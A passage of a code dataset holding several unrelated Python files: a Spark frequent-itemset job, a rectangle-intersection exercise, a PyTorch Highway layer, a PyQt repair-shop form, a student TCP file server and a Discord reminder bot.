(x, 1))\n\n # First Reduce\n firstReduce = firstMap.reduceByKey(add).keys()\n\n outFile.write(\"Candidates:\\n\")\n singleItems = firstReduce.filter(lambda x: type(x) == int).collect()\n it = iter(singleItems)\n singleItems = list(zip(it))\n otherItems = firstReduce.filter(lambda x: type(x) != int).collect()\n writeItemsToFile(singleItems + otherItems, outFile)\n\n candidateKeys = firstReduce.collect()\n # Second Map\n secondMap = marketBaskets.mapPartitions(lambda partitionBasket: candidateCount(list(partitionBasket), candidateKeys).items())\n # Second Reduce\n secondReduce = secondMap.reduceByKey(add).filter(lambda x: x[1] >= support)\n\n outFile.write(\"\\n\\nFrequent Itemsets:\\n\")\n writeItemsToFile(secondReduce.keys().collect(), outFile)\n\n outFile.close()\n end = time.time()\n print(\"Duration: \", end - start)","sub_path":"project2/divya_ramesha_task2.py","file_name":"divya_ramesha_task2.py","file_ext":"py","file_size_in_byte":5916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"631445396","text":"# Given bottom left and top right points of two rectangles,\n# check if the rectangles intersect\n\ndef rect_intrs(rect1, rect2):\n if (rect2[0] in range(rect1[0], rect1[2]) \\\n or rect2[2] in range(rect1[0] + 1, rect1[2]) ) \\\n and (rect2[1] in range(rect1[1] + 1, rect1[3]) \\\n or rect2[3] in range(rect1[1] + 1, rect1[3]) ):\n return True\n else:\n return False\n\nprint (rect_intrs([5,15,8,18], [0,3,7,9]))\nprint(rect_intrs([0, 0, 1, 1], [2, 2, 3, 3]))\nprint (rect_intrs([0,0,1,1], [1,0,2,1]))\nprint (rect_intrs([0,0,2,2], [1,1,3,3]))\n","sub_path":"Problem Set One/rect_int.py","file_name":"rect_int.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"490427686","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.utils\n\nfrom utils import assert_expected_size\n\nclass Highway(nn.Module):\n def __init__(self, word_embed_size):\n '''Initializing Highway Model\n @param embed_size: word embed length\n '''\n super(Highway, self).__init__()\n self.word_embed_size = word_embed_size\n self.w_projection = nn.Linear(word_embed_size, word_embed_size, bias=True)\n self.w_gate = nn.Linear(word_embed_size, word_embed_size, bias=True)\n\n def forward(self, x_conv_out: torch.Tensor) -> torch.Tensor:\n '''\n @param x_conv_out (Tensor): Tensor of padded source sentences with shape (b, e_word), where\n b = batch_size, e_word = word embedding length. These are the outputs\n from convolutional neural network\n @returns x_highway (Tensor) : Tensor of padded source sentences with shape (b, e_word)\n '''\n batch_size, e_word = len(x_conv_out), self.word_embed_size\n assert_expected_size(x_conv_out, 'x_conv_out', [batch_size, e_word])\n\n relu = nn.ReLU()\n x_proj = relu(self.w_projection(x_conv_out)) # shape = (b, e_word)\n assert_expected_size(x_proj, 'x_proj', [batch_size, e_word])\n\n x_gate = torch.sigmoid(self.w_gate(x_conv_out)) # shape = (b, e_word)\n assert_expected_size(x_gate, 'x_gate', [batch_size, e_word])\n\n x_highway = x_gate*x_proj + (1-x_gate)*x_conv_out\n assert_expected_size(x_highway, 'x_highway', [batch_size, e_word])\n return x_highway\n\n","sub_path":"highway.py","file_name":"highway.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"308954210","text":"import sys\nimport dal\n\nfrom PyQt5.Qt import *\nfrom tableModel import *\nfrom frm_main import *\nfrom br_main import *\n\n# 全局变量\ndata_list = []\ndata_dic = {}\nphone_list = []\nphone_dic = {}\nphone_edit = PhEdit()\ngu_ke = Guke()\n\n\nclass MyWin(QMainWindow, Ui_MainWindow):\n # 窗口初始化\n def __init__(self, parent=None):\n super().__init__()\n self.setupUi(self)\n self.Cal.setVisible(False)\n self.br_listview()\n self.list_guzhang_view()\n self.lbl_danhao.setText(test.dan_hao())\n\n # 信号绑定\n self.list_br.clicked.connect(self.list_br_clicked)\n self.list_phone.clicked.connect(self.list_phone_clicked)\n self.btnAdd.clicked.connect(self.select_guzhang_clicked)\n self.btn_print.clicked.connect(self.prSave)\n self.btnDate.clicked.connect(self.E_clicked)\n self.Cal.clicked.connect(self.Cal_select)\n self.rd_gkSex1.toggled.connect(self.sex_select)\n self.rd_gkSex0.toggled.connect(self.sex_select)\n self.menu.triggered[QAction].connect(self.br_add)\n # 菜单点击\n def br_add(self,QAction):\n # print(QAction.text())\n if QAction.text()=='品牌维护':\n self.frm_br=DL_br()\n self.frm_br.my_Signal.connect(self.br_listview)\n self.frm_br.show()\n\n\n\n if QAction.text()=='机型维护':\n print('点击机型维护')\n if QAction.text()=='故障现象维护':\n print('点击故障现象维护')\n\n # 列表框填充数据\n def ref_listview(self, listName, listDate):\n slm = slm = QStringListModel()\n slm.setStringList(listDate)\n listName.setModel(slm)\n\n # 填充品牌列表\n def br_listview(self):\n global data_dic\n global data_list\n data_dic, data_list = dal.date_all(Br, 'brID', 'brName')\n self.ref_listview(self.list_br, data_list)\n\n # 填充故障选择列表\n def list_guzhang_view(self):\n global str_guzhang\n str_guzhang = \"\"\n # temp_list=[]\n #\n # for i in temp_list:\n # box = QCheckBox(i)\n # item = QListWidgetItem()\n # self.list_guzhang.addItem(item)\n # self.list_guzhang.setItemWidget(item, box)\n\n _, temp_list = dal.date_all(EditPs, 'id', 'Name')\n for i in temp_list:\n box = QCheckBox(i)\n item = QListWidgetItem()\n self.list_guzhang.addItem(item)\n self.list_guzhang.setItemWidget(item, box)\n\n # 品牌列表左键单击\n def list_br_clicked(self, index):\n\n global data_dic\n global data_list\n global phone_dic\n global phone_list\n global phone_edit\n\n phone_edit.phID = None\n\n temp_dic = {}\n for k, v in data_dic.items():\n temp_dic[v] = k\n\n str_br = data_list[index.row()]\n str_id = str(temp_dic[str_br])\n str_filter = \"Phone.brID==\" + str_id\n\n phone_dic, phone_list = dal.date_select(Phone, 'id', 'phName', str_filter)\n self.ref_listview(self.list_phone, phone_list)\n\n # 手机列表左键单击\n def list_phone_clicked(self, index):\n global phone_dic\n global phone_list\n global phone_edit\n\n temp_dic = {}\n for k, v in phone_dic.items():\n temp_dic[v] = k\n str_ph = phone_list[index.row()]\n # str_id=temp_dic[str_ph]\n phone_edit.phID = temp_dic[str_ph]\n\n # 选择故障后按钮事件\n def select_guzhang_clicked(self):\n \"\"\"\n 得到备选统计项的字段\n :return: list[str]\n \"\"\"\n global phone_edit\n\n count = self.list_guzhang.count() # 得到QListWidget的总个数\n cb_list = [self.list_guzhang.itemWidget(self.list_guzhang.item(i))\n for i in range(count)] # 得到QListWidget里面所有QListWidgetItem中的QCheckBox\n chooses = [] # 存放被选择的数据\n for cb in cb_list:\n if cb.isChecked():\n chooses.append(cb.text())\n choose = \",\".join(chooses)\n str_t = self.txtGz.toPlainText()\n self.txtGz.setText(str_t + choose)\n # phone_edit.guzhang = choose\n\n # 显示日期选择窗口\n def E_clicked(self):\n self.Cal.setVisible(True)\n\n # 日期窗口点击\n def Cal_select(self):\n self.txt_date.setText(self.Cal.selectedDate().toString(\"yyyy-MM-dd\"))\n self.Cal.setVisible(False)\n\n # 顾客性别选择\n def sex_select(self):\n\n if self.rd_gkSex0.isChecked() == True:\n gu_ke.sex = '女士'\n if self.rd_gkSex1.isChecked() == True:\n gu_ke.sex = '先生'\n return gu_ke.sex\n\n # 控件初始化\n def view_init(self):\n self.br_listview()\n self.list_guzhang.clear()\n self.list_guzhang_view()\n self.ref_listview(self.list_phone, [])\n self.txtGz.setText(\"\")\n self.textEdit.setText(\"\")\n self.txt_gkName.setText(\"\")\n self.txt_date.setText(\"\")\n self.txt_cost.setText(\"\")\n self.txt_gkphone.setText(\"\")\n self.lbl_danhao.setText(test.dan_hao())\n\n # 检查所有控件的值\n def check_up(self):\n if self.list_br.currentIndex().row() == -1:\n QMessageBox.critical(self, \"请检查\", \"请选择品牌\", QMessageBox.Yes)\n return False\n if self.list_phone.currentIndex().row() == -1:\n QMessageBox.critical(self, \"请检查\", \"请选择机型\", QMessageBox.Yes)\n return False\n if len(self.txtGz.toPlainText()) == 0:\n QMessageBox.critical(self, \"请检查\", \"请生成故障现象\", QMessageBox.Yes)\n return False\n if len(self.textEdit.toPlainText()) == 0:\n QMessageBox.critical(self, \"请检查\", \"维修项目未录入\", QMessageBox.Yes)\n return False\n if len(self.txt_cost.text()) == 0:\n QMessageBox.critical(self, \"请检查\", \"请输入收费\", QMessageBox.Yes)\n return False\n if len(self.txt_date.text()) == 0:\n QMessageBox.critical(self, \"请检查\", \"请输入日期\", QMessageBox.Yes)\n return False\n if len(self.txt_gkName.text()) == 0:\n QMessageBox.critical(self, \"请检查\", \"请输入顾客姓名\", QMessageBox.Yes)\n return False\n if len(self.txt_gkphone.text()) == 0:\n QMessageBox.critical(self, \"请检查\", \"请输入顾客电话\", QMessageBox.Yes)\n return False\n if self.rd_gkSex1.isChecked() or self.rd_gkSex0.isChecked():\n return True\n else:\n QMessageBox.critical(self, \"请检查\", \"请选择顾客性别\", QMessageBox.Yes)\n return False\n\n # print(self.rd_gkSex0.isChecked())\n return True\n\n # 打印按钮单击\n def prSave(self):\n global phone_edit\n global gu_ke\n\n if self.check_up():\n gu_ke.Name = self.txt_gkName.text()\n gu_ke.dianhua = self.txt_gkphone.text()\n phone_edit.phedit = self.textEdit.toPlainText()\n phone_edit.jiage = self.txt_cost.text()\n phone_edit.rq = self.txt_date.text()\n phone_edit.id = self.lbl_danhao.text()\n phone_edit.guzhang = self.txtGz.toPlainText()\n gu_ke.sex = self.sex_select()\n # Sess = sessionmaker(bind=engine)\n # ss = Sess()\n # ss.add(phone_edit)\n # ss.add(gu_ke)\n # ss.commit()\n\n print(phone_edit.id,\n phone_edit.phID,\n phone_edit.guzhang,\n phone_edit.phedit,\n phone_edit.jiage,\n phone_edit.rq,\n gu_ke.Name,\n gu_ke.sex,\n gu_ke.dianhua\n )\n\n phone_edit = PhEdit()\n gu_ke = Guke()\n self.view_init()\n\n\nif __name__ == '__main__':\n QtCore.QCoreApplication.setAttribute(QtCore.Qt.AA_EnableHighDpiScaling)\n app = QApplication(sys.argv)\n win = MyWin()\n win.show()\n sys.exit(app.exec_())\n","sub_path":"logMain.py","file_name":"logMain.py","file_ext":"py","file_size_in_byte":8098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"574241387","text":"\"\"\" Cosc264 Socket Assignment\n Author: Isaac Murtagh\n itm20, 78178123\n Date: 17/8/2019\n\"\"\"\n\nimport sys\nimport socket\nimport datetime\nimport os.path\n\nBUFF_SIZE = 4096\nSERVER_ADDRESS = \"127.0.0.1\"\n\n\nclass Server:\n \"\"\"A command line application that will act as a TCP Server to send and \n recieve data.\n \"\"\"\n\n def __init__(self, port_number):\n \"\"\"Accepts a port number which must be in the range 1,025 - 64,000,\n then begins calling functions to set up the socket.\n \"\"\"\n self.s = socket.socket()\n try:\n if port_number.isdigit() and 1024 < int(port_number) <= 64000:\n self.port_number = int(port_number)\n else:\n print(\"ERROR: Port number not in range 1,025 - 64,000\")\n raise Exception\n self.bind_address()\n self.start_listen()\n self.start_loop()\n except Exception:\n pass\n finally:\n self.s.close()\n sys.exit()\n\n\n def bind_address(self):\n \"\"\"Attempts to bind to an address with given port number, otherwise \n prints an error message and raises an error, closing the socket \n and exiting.\n \"\"\"\n try:\n self.s.bind((SERVER_ADDRESS, self.port_number))\n except Exception:\n print(f\"ERROR: Could not bind to port {self.port_number}\")\n raise Exception\n\n def start_listen(self):\n \"\"\"Attempts to execute the listen() call of the socket, if this does \n not work, then an error is printed and the socket is closed.\n \"\"\"\n try:\n self.s.listen()\n except Exception:\n print(\"ERROR: Server could not listen for connections\")\n raise Exception\n\n\n def start_loop(self):\n \"\"\"Starts an infinite loop where connections are accepted by clients. \n Once a connection is complete or fails some how, the client_socket \n is closed and the loops resumes.\n \"\"\"\n while True:\n client_socket, address = self.s.accept()\n self.s.settimeout(1)\n\n try:\n self.log(f\"Connection from {address}\")\n\n file_request = self.recieve_data(client_socket)\n filename = self.decode_request(file_request)\n\n self.send_file(filename, client_socket)\n except Exception:\n pass\n finally:\n self.s.settimeout(None)\n client_socket.close()\n print()\n\n\n def decode_request(self, arr):\n \"\"\"Decodes a byte array to determine if it is correct, returning the \n filename that has been recieved by the client.\n \"\"\"\n magic_number = (arr[0] << 8) + arr[1]\n if magic_number != 0x497E:\n print(\"ERROR: File request MAGIC NUMBER incorrect\")\n raise Exception\n\n file_type = arr[2]\n if file_type != 1:\n print(\"ERROR: File request FILE TYPE incorrect\")\n raise Exception\n\n file_len = (arr[3] << 8) + arr[4]\n\n filename = \"\"\n start = 5\n for ele in arr[start:start + file_len]:\n filename += chr(ele)\n\n return filename\n\n\n def send_file(self, filename, client):\n \"\"\"Attempts to send the requested file to the client, if it does not \n exist then an appropriate response is sent to the client informing\n them of this outcome. If the file exists, but was unable to be \n opened or read, an error occurs and the client is dropped.\n \"\"\"\n code = 1\n contents = \"\"\n\n if (os.path.exists(filename)):\n try:\n file = open(filename)\n contents = file.read()\n except Exception:\n print(\"ERROR: File is unable to be opened or read\")\n code = 0\n finally:\n file.close()\n else:\n code = 0\n print(f\"'{filename}' does not exist within the server.\")\n\n response = self.create_response(code, contents)\n\n try:\n client.send(response)\n except Exception:\n print(\"ERROR: Was unable to send response back to client\")\n raise Exception\n\n if code == 0:\n print(\"A response has been sent to client that the file \" +\n \"could not be found\")\n\n print(f\"File transfer complete, {len(response)} bytes \" +\n \"transferred to client.\")\n\n\n def create_response(self, code, contents):\n \"\"\"Returns a byte array payload for the file request\"\"\"\n file_len = len(contents)\n magic_num = 0x497E\n file_type = 2\n\n b = bytearray(bytes(8))\n b[0] = (magic_num >> 8)\n b[1] = magic_num - (b[0] << 8)\n b[2] = file_type\n b[3] = code\n b[4] = (file_len >> 24)\n b[5] = (file_len - (b[4] * 2**24)) >> 16\n b[6] = (file_len - (b[4] * 2**24 + b[5] * 2**16)) >> 8\n b[7] = (file_len - (b[4] * 2**24 + b[5] * 2**16 + b[6] * 2**8))\n\n return b + bytearray(contents.encode())\n\n\n def recieve_data(self, client):\n \"\"\"Attempts to recieve a file request and checks if it is correct. \n If it takes longer than 1 second to recieve data, a timeout\n error occurs.\n \"\"\"\n data = b''\n while True:\n try:\n part = client.recv(BUFF_SIZE)\n except:\n print(\"ERROR: Time out error has occured\")\n data += part\n if len(part) < BUFF_SIZE:\n break\n return bytearray(data)\n\n\n def log(self, message):\n \"\"\"logs the current time\"\"\"\n time = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print(f\"[{time}] {message}\")\n\n\nServer(input())","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"321023695","text":"#!/usr/bin/python3\n\n# discord-py requirements\nimport discord\nfrom discord.ext import commands\nimport asyncio\n\n# For DB Functionality\nimport sqlite3\nimport datetime\n\n# Other utilities\nimport random\nfrom .utils.paginator import Pages\n\n# For remindme functionality\nimport re\n\n\nclass Reminder:\n def __init__(self, bot):\n self.bot = bot\n self.frequencies = {\"daily\": 1, \"weekly\": 7, \"monthly\": 30}\n\n async def check_reminders(self):\n \"\"\"\n Co-routine that periodically checks if the bot must issue reminders to users.\n :return: None\n \"\"\"\n\n await self.bot.wait_until_ready()\n while not self.bot.is_closed():\n conn = sqlite3.connect(self.bot.config.db_path)\n c = conn.cursor()\n g = (guild for guild in self.bot.guilds\n if guild.name == 'McGill University')\n try:\n guild = next(g)\n except StopIteration:\n return\n reminders = c.execute('SELECT * FROM Reminders').fetchall()\n for i in range(len(reminders)):\n member = discord.utils.get(guild.members, id=reminders[i][0])\n\n # If non-repeating reminder is found\n if reminders[i][3] == 'once':\n # Check date to remind user\n reminder_activation_date = datetime.datetime.strptime(\n reminders[i][4], \"%Y-%m-%d %H:%M:%S.%f\")\n # Compute future_date-current_date and if <= 0:00:00, means time is due to remind user\n if reminder_activation_date - datetime.datetime.now(\n ) <= datetime.timedelta(0):\n await member.send(\"Reminding you to {}!\".format(\n reminders[i][2]))\n # Remove from from DB non-repeating reminder\n c.execute(\n 'DELETE FROM Reminders WHERE Reminder=? AND ID=? AND DATE=?',\n (reminders[i][2], reminders[i][0],\n reminder_activation_date))\n conn.commit()\n await asyncio.sleep(1)\n else:\n last_date = datetime.datetime.strptime(\n reminders[i][5], \"%Y-%m-%d %H:%M:%S.%f\")\n if datetime.datetime.now() - last_date > datetime.timedelta(\n days=self.frequencies[reminders[i][3]]):\n await member.send(\"Reminding you to {}! [{:d}]\".format(\n reminders[i][2], i + 1))\n\n c.execute(\n \"UPDATE 'Reminders' SET LastReminder = ? WHERE Reminder = ?\",\n (datetime.datetime.now(), reminders[i][2]))\n conn.commit()\n await asyncio.sleep(1)\n conn.close()\n await asyncio.sleep(60 * 1)\n\n @commands.command(aliases=['rm', 'rem'])\n async def remindme(self, ctx, *, quote: str = \"\"):\n \"\"\"\n Parses the reminder and adds a one-time reminder to the reminder database or\n calls remindme_repeating to deal with repetitive reminders when keyword\n \"daily\", \"weekly\" or \"monthly\" is found.\n \"\"\"\n\n if quote == \"\":\n await ctx.send(\n '**Usage:** \\n `?remindme in 1 hour and 20 minutes and 20 seconds to eat` **or** \\n '\n '`?remindme at 2020-04-30 11:30 to graduate` **or** \\n `?remindme daily to sleep`'\n )\n\n # Copies original reminder message and sets lowercase for regex.\n original_input_copy = quote.lower()\n\n # Letter numbers to number numbers\n replacements = [\n (r\"twenty[-\\s]one\", \"21\"), (r\"twenty[-\\s]two\",\n \"22\"), (r\"twenty[-\\s]three\", \"23\"),\n (r\"twenty[-\\s]four\",\n \"24\"), (r\"twenty[-\\s]five\",\n \"25\"), (r\"twenty[-\\s]six\",\n \"26\"), (r\"twenty[-\\s]seven\",\n \"27\"), (r\"twenty[-\\s]eight\",\n \"28\"), (r\"twenty[-\\s]nine\", \"29\"),\n (r\"thirty[-\\s]one\",\n \"31\"), (r\"thirty[-\\s]two\",\n \"32\"), (r\"thirty[-\\s]three\",\n \"33\"), (r\"thirty[-\\s]-four\",\n \"34\"), (r\"thirty[-\\s]four\",\n \"34\"), (r\"thirty[-\\s]five\", \"35\"),\n (r\"thirty[-\\s]six\",\n \"36\"), (r\"thirty[-\\s]seven\",\n \"37\"), (r\"thirty[-\\s]eight\",\n \"38\"), (r\"thirty[-\\s]nine\",\n \"39\"), (r\"forty[-\\s]one\",\n \"41\"), (r\"forty[-\\s]two\", \"42\"),\n (r\"forty[-\\s]three\",\n \"43\"), (r\"forty[-\\s]four\",\n \"44\"), (r\"forty[-\\s]five\",\n \"45\"), (r\"forty[-\\s]six\",\n \"46\"), (r\"forty[-\\s]seven\",\n \"47\"), (r\"forty[-\\s]eight\", \"48\"),\n (r\"forty[-\\s]nine\",\n \"49\"), (\"tomorrow\", \"1 day\"), (\"next week\",\n \"1 week\"), (\"later\",\n \"6 hours\"), (\"a\", \"1\"),\n (\"an\", \"1\"), (\"zero\",\n \"0\"), (\"no\", \"0\"), (\"none\",\n \"0\"), (\"one\", \"1\"), (\"two\", \"2\"),\n (\"three\", \"3\"), (\"four\", \"4\"), (\"five\",\n \"5\"), (\"six\", \"6\"), (\"seven\", \"7\"),\n (\"eight\",\n \"8\"), (\"nine\",\n \"9\"), (\"ten\",\n \"10\"), (\"eleven\",\n \"11\"), (\"twelve\",\n \"12\"), (\"thirteen\",\n \"13\"), (\"fourteen\",\n \"14\"), (\"fifteen\",\n \"15\"),\n (\"sixteen\",\n \"16\"), (\"seventeen\",\n \"17\"), (\"eighteen\",\n \"18\"), (\"nineteen\",\n \"19\"), (\"twenty\",\n \"20\"), (\"thirty\",\n \"30\"), (\"forty\",\n \"40\"), (\"fifty\",\n \"50\")\n ]\n\n # Regex for misspellings of time units\n units = {\n \"years\": \"ye?a?r?s?\",\n \"days\": \"da?y?s?\",\n \"hours\": \"ho?u?r?s?\",\n \"seconds\": \"se?c?o?n?d?s?\",\n \"minutes\": \"mi?n?u?t?e?s?\",\n \"weeks\": \"we?e?k?s?\"\n }\n\n # Stores units + number for calculating timedelta\n time_offset = {\n \"years\": 0,\n \"days\": 0,\n \"hours\": 0,\n \"seconds\": 0,\n \"minutes\": 0,\n \"weeks\": 0\n }\n\n punctuation_chars = \".,+&/ \"\n string_word_separator_regex = r\"(\\s|[\" + punctuation_chars + \"])+\"\n time_separator_regex = r\"(,|\\+|&|and|plus|in)\"\n # Regex to match units below (Which accounts for spelling mistakes!)\n unit_regex = r\"(\" + \"|\".join(list(units.values())) + \")\"\n # Matches a natural number\n number_regex = r\"[1-9]+[0-9]*(|\\.[0-9]+)\"\n # Regex for format YYYY-MM-DD\n ymd_regex = r\"(2[0-1][0-9][0-9])[\\s./-]((1[0-2]|0?[1-9]))[\\s./-](([1-2][0-9]|3[0-1]|0?[1-9]))\"\n # Regex for time HH:MM\n hm_regex = r\"\\b([0-1]?[0-9]|2[0-4]):([0-5][0-9])\"\n\n # Replaces word representation of numbers into numerical representation\n for k, v in replacements:\n original_input_copy = re.sub(r\"\\b\" + k + r\"\\b\", v,\n original_input_copy)\n\n # Split on spaces and other relevant punctuation\n input_segments = re.split(string_word_separator_regex,\n original_input_copy)\n input_segments = [x.strip(punctuation_chars) for x in input_segments]\n\n # Remove empty strings from list\n input_segments = [x for x in input_segments if x != \"\"]\n\n time_segments = []\n last_number = \"0\"\n first_reminder_segment = \"\"\n \"\"\" Checks the following logic:\n 1. If daily, weekly or monthly is specified, go to old reminder function for repetitive reminders\n for all input segments:\n 2. If one of the keywords commonly used for listing times is there, continue\n 3. If a number is found, save the number, mark that a number has been found for next iteration\n 4. Elif: A \"unit\" (years, days ... etc.) has been found, append the last number + its unit\n 5. Lastly: save beginning of \"reminder quote\" and end loop\n \"\"\"\n\n if len(input_segments) > 0 and (input_segments[0] == \"daily\"\n or input_segments[0] == \"weekly\"\n or input_segments[0] == \"monthly\"):\n await self.__remindme_repeating(\n ctx,\n input_segments[0],\n quote=quote[len(input_segments[0]) + 1:])\n return\n for segment in input_segments:\n if re.match(\"^\" + time_separator_regex + \"$\", segment):\n continue\n if re.match(\"^\" + number_regex + \"$\", segment):\n last_number = segment\n elif re.match(\"^\" + unit_regex + \"$\", segment):\n time_segments.append(last_number + \" \" + segment)\n else:\n first_reminder_segment = segment\n break\n\n # They probably dont want their reminder nuked of punctuation, spaces\n # and formatting, so extract from original string.\n reminder = quote[quote.index(first_reminder_segment):]\n\n # Date-based reminder triggered by \"at\" and \"on\" keywords\n if input_segments[0] == 'at' or input_segments[0] == 'on':\n date_result = re.search(ymd_regex,\n original_input_copy) # Gets YYYY-mm-dd\n time_result = re.search(hm_regex,\n original_input_copy) # Gets HH:MM\n\n # If both a date and a time is found, continue\n if date_result and time_result:\n # Compute datetime.Object\n absolute_duedate = datetime.datetime.strptime(\n date_result.group(1) + \"-\" + date_result.group(2) + \"-\" +\n date_result.group(4) + \"-\" + time_result.group(1) + \"-\" +\n time_result.group(2) + \"-\" + str(0.1),\n \"%Y-%m-%d-%H-%M-%S.%f\")\n\n # Strips \"to\" and dates from the reminder message\n time_input_end = time_result.span()[1]\n if re.match(\n \"to\",\n reminder[time_input_end:time_input_end + 4].strip(),\n re.IGNORECASE):\n reminder = reminder[time_input_end + 3:].strip()\n else:\n reminder = reminder[time_input_end + 1:].strip()\n\n # Add message to database\n conn = sqlite3.connect(self.bot.config.db_path)\n c = conn.cursor()\n t = (ctx.message.author.id, ctx.message.author.name, reminder,\n \"once\", absolute_duedate, datetime.datetime.now())\n try:\n c.execute(\n 'INSERT INTO Reminders VALUES (?, ?, ?, ?, ?, ?)', t)\n except sqlite3.OperationalError:\n c.execute(\n \"CREATE TABLE 'Reminders' ('ID'INTEGER,'Name'TEXT,'Reminder'TEXT,'Frequency'TEXT,'Date'\\\n TEXT,'LastReminder'TEXT)\")\n c.execute(\n 'INSERT INTO Reminders VALUES (?, ?, ?, ?, ?. ?)', t)\n\n # Send user information and close database\n reminders = c.execute('SELECT * FROM Reminders WHERE ID =?',\n (ctx.message.author.id, )).fetchall()\n await ctx.author.send(\n 'Hi {}! \\nI will remind you to {} on {} at {} unless you send me a message to stop '\n 'reminding you about it! [{:d}]'.format(\n ctx.author.name, reminder, date_result.group(0),\n time_result.group(0),\n len(reminders) + 1))\n\n await ctx.send('Reminder added.')\n\n conn.commit()\n conn.close()\n\n return\n\n # Wrong input feedback depending on what is missing.\n await ctx.send(\n \"Please check your private messages for information on correct syntax!\"\n )\n await ctx.author.send(\"Please double check the following: \")\n if not date_result:\n await ctx.author.send(\n \"Make sure you have specified a date in the format: `YYYY-mm-dd`\"\n )\n if not time_result:\n await ctx.author.send(\n \"Make sure you have specified a time in the 24H format: `HH:MM`\"\n )\n await ctx.author.send(\n \"E.g.: `?remindme on 2020-12-05 at 21:44 to feed Marty`\")\n return\n\n # Regex for the number and time units and store in \"match\"\n for segment in time_segments:\n match = re.match(\n \"^(\" + number_regex + \")\" + r\"\\s+\" + unit_regex + \"$\", segment)\n number = float(match.group(1))\n\n # Regex potentially misspelled time units and match to proper spelling\n for regex in units:\n if re.match(\"^\" + units[regex] + \"$\", match.group(3)):\n time_offset[regex] += number\n\n # Convert years to a unit that datetime will understand\n time_offset[\"days\"] = time_offset[\"days\"] + time_offset[\"years\"] * 365\n\n time_now = datetime.datetime.now() # Current time\n reminder_time = time_now + datetime.timedelta(\n days=time_offset[\"days\"],\n hours=time_offset[\"hours\"],\n seconds=time_offset[\"seconds\"],\n minutes=time_offset[\"minutes\"],\n weeks=time_offset[\"weeks\"]) # Time to be reminded on\n if time_now == reminder_time: # No time in argument, or it's zero.\n await ctx.send(\"Please specify a time! E.g.: `?remindme in 1 hour \"\n + reminder + \"`\")\n return\n # Strips the string \"to \" from reminder messages\n if reminder[:3].lower() == 'to ':\n reminder = reminder[3:]\n # DB: Date will hold TDELTA (When reminder is due), LastReminder will hold datetime.datetime.now()\n conn = sqlite3.connect(self.bot.config.db_path)\n c = conn.cursor()\n t = (ctx.message.author.id, ctx.message.author.name, reminder, \"once\",\n reminder_time, time_now)\n reminders = c.execute('SELECT * FROM Reminders WHERE ID =?',\n (ctx.message.author.id, )).fetchall()\n try:\n c.execute('INSERT INTO Reminders VALUES (?, ?, ?, ?, ?, ?)', t)\n except sqlite3.OperationalError:\n c.execute(\n \"CREATE TABLE 'Reminders' ('ID'INTEGER,'Name'TEXT,'Reminder'TEXT,'Frequency'TEXT,'Date'\\\n TEXT,'LastReminder'TEXT)\")\n c.execute('INSERT INTO Reminders VALUES (?, ?, ?, ?, ?. ?)', t)\n\n # Gets reminder date in YYYY-MM-DD format\n due_date = str(\n datetime.date(reminder_time.year, reminder_time.month,\n reminder_time.day))\n # Gets reminder time in HH:MM\n due_time = str(reminder_time).split()[1].split(\":\")[0] + \":\" + str(\n reminder_time).split()[1].split(\":\")[1]\n await ctx.author.send(\n 'Hi {}! \\nI will remind you to {} on {} at {} unless you send me a message to stop '\n 'reminding you about it! [{:d}]'.format(ctx.author.name, reminder,\n due_date, due_time,\n len(reminders) + 1))\n await ctx.send('Reminder added.')\n conn.commit()\n conn.close()\n\n @commands.command(aliases=['lr'])\n async def list_reminders(self, ctx):\n \"\"\"\n List reminders\n \"\"\"\n await ctx.trigger_typing()\n if not isinstance(ctx.message.channel, discord.DMChannel):\n await ctx.send(\n 'Slide into my DMs ;). \\n `List Reminder feature only available when DMing Marty.`'\n )\n return\n else:\n pass\n conn = sqlite3.connect(self.bot.config.db_path)\n c = conn.cursor()\n rem_author = ctx.message.author\n author_id = rem_author.id\n t = (author_id, )\n c.execute('SELECT * FROM Reminders WHERE ID = ?', t)\n rem_list = c.fetchall()\n if rem_list:\n quote_list_text = [\n ('[{}] (Frequency: {}' +\n (' at {}'.format(quote[4].split('.')[0])\n if quote[3] == 'once' else '') + ') - {}').format(\n i + 1, quote[3].capitalize(), quote[2])\n for i, quote in zip(range(len(rem_list)), rem_list)\n ]\n p = Pages(\n ctx,\n item_list=quote_list_text,\n title=\"{}'s reminders\".format(rem_author.display_name))\n await p.paginate()\n\n def msg_check(msg):\n try:\n return (0 <= int(msg.content) <= len(rem_list)\n and msg.author.id == author_id\n and msg.channel == ctx.message.channel)\n except ValueError:\n return False\n\n while p.delete:\n await ctx.send(\n 'Delete option selected. Enter a number to specify which '\n 'reminder you want to delete, or enter 0 to return.',\n delete_after=60)\n try:\n message = await self.bot.wait_for(\n 'message', check=msg_check, timeout=60)\n except asyncio.TimeoutError:\n await ctx.send(\n 'Command timeout. You may want to run the command again.',\n delete_after=60)\n break\n else:\n index = int(message.content) - 1\n if index == -1:\n await ctx.send('Exit delq.', delete_after=60)\n else:\n t = (rem_list[index][0], rem_list[index][2])\n del rem_list[\n index] # Remove deleted reminder from list.\n c.execute(\n 'DELETE FROM Reminders WHERE ID = ? AND '\n 'Reminder = ?', t)\n conn.commit()\n await ctx.send('Reminder deleted', delete_after=60)\n p.itemList = [('[{}] (Frequency: {}' + (\n ' at {}'.format(quote[4].split('.')[0])\n if quote[3] == 'once' else '') + ') - {}').format(\n i + 1, quote[3].capitalize(), quote[2])\n for i, quote in zip(\n range(len(rem_list)), rem_list)]\n await p.paginate()\n conn.commit()\n conn.close()\n else:\n await ctx.send('No reminder found.', delete_after=60)\n\n async def __remindme_repeating(self,\n ctx,\n freq: str = \"\",\n *,\n quote: str = \"\"):\n \"\"\"\n Called by remindme to add a repeating reminder to the reminder database.\n \"\"\"\n\n bad_input = False\n if freq not in self.frequencies.keys():\n await ctx.send(\n \"Please ensure you specify a frequency from the following list: 